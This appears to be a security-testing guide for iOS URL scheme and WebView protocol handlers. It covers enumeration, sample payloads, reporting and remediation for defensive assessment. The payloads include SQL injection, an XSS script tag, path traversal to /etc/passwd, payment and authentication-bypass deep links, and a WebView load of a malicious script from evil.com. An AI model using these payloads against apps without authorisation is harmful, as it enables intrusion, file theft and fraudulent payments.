iOS WebView Protocol Handler Security Testing

This skill provides a systematic approach to testing iOS WebView protocol handlers for security vulnerabilities. Protocol handlers (URL schemes) are a common attack surface in iOS applications.

What are Protocol Handlers?

iOS apps can register custom URL schemes (e.g.,

myapp://

) that allow other apps to open them with specific parameters. These are commonly used for:

• Deep linking to specific app screens
• OAuth callbacks
• Payment processing
• Social sharing
• Cross-app communication

Common Vulnerabilities

1. URL Scheme Hijacking - Registering the same scheme to intercept traffic
2. Deep Link Injection - Crafting malicious URLs to trigger unintended actions
3. Parameter Tampering - Modifying URL parameters to bypass validation
4. Data Exfiltration - Extracting sensitive data via protocol handlers
5. Intent Hijacking - Triggering unintended app behaviors

Testing Workflow

Step 1: Enumerate Protocol Handlers

First, identify what protocol handlers the target app uses:

# Check app's Info.plist for registered schemes
# Look for CFBundleURLTypes array

# Use mobile device or simulator to inspect
# Check for common patterns: appname://, appname+oauth://, etc.

Step 2: Analyze Handler Behavior

Test how the app responds to different URL patterns:

# Basic scheme test
open myapp://

# With path
open myapp://home

# With parameters
open myapp://user?id=123

# With query string
open myapp://action?param=value&other=test

Step 3: Test for Vulnerabilities

Parameter Injection

Test if parameters are properly validated:

# SQL injection style
open myapp://user?id=1' OR '1'='1

# XSS style (if rendered in WebView)
open myapp://profile?name=<script>alert(1)</script>

# Path traversal
open myapp://files?path=../../../etc/passwd

Deep Link Manipulation

Test if deep links can trigger unintended actions:

# Try to access admin screens
open myapp://admin/settings

# Try to trigger payments
open myapp://payment?amount=0.01&recipient=attacker

# Try to bypass authentication
open myapp://dashboard?auth=bypass

Data Exfiltration

Check if sensitive data can be extracted:

# Check if data is returned in URL
open myapp://callback

# Check if data is passed to other apps
open myapp://share?data=sensitive_info

Step 4: Test WebView-Specific Issues

If the app uses WebViews:

# Test JavaScript injection
open myapp://web?url=https://evil.com/malicious.js

# Test file:// protocol access
open myapp://web?url=file:///private/data

# Test local file inclusion
open myapp://web?file=local.html

Automated Testing Scripts

Use the bundled scripts to automate common tests:

enumerate_schemes.sh

Enumerates common protocol handler patterns for a given app name.

test_handler.sh

Tests a specific protocol handler with various payloads.

check_hijack.sh

Checks if a protocol handler can be hijacked.

Reporting Findings

When documenting vulnerabilities:

1. Vulnerability Type - Clear classification
2. Affected Handler - The specific URL scheme
3. Payload - The malicious URL used
4. Impact - What the attacker can achieve
5. Remediation - How to fix the issue

Remediation Guidelines

For Developers

1. Validate all parameters - Never trust URL parameters
2. Use allowlists - Only accept expected values
3. Implement authentication - Require auth for sensitive actions
4. Sanitize inputs - Prevent injection attacks
5. Use secure schemes - Consider using Universal Links instead

For Security Teams

1. Regular testing - Include protocol handlers in security assessments
2. Code review - Check handler implementations
3. Runtime protection - Consider using security frameworks
4. Monitoring - Watch for unusual handler usage

References

• OWASP Mobile Security Testing Guide
• iOS URL Scheme Security
• Universal Links Security

Quick Start

# 1. Enumerate handlers for an app
./scripts/enumerate_schemes.sh myapp

# 2. Test a specific handler
./scripts/test_handler.sh "myapp://action?param=value"

# 3. Check for hijacking
./scripts/check_hijack.sh "myapp://"

Notes

• Always test on a device or simulator, not just in theory
• Some handlers may require the app to be installed
• Test both iOS and iPadOS if applicable
• Consider testing on different iOS versions
• Document all findings with screenshots when possible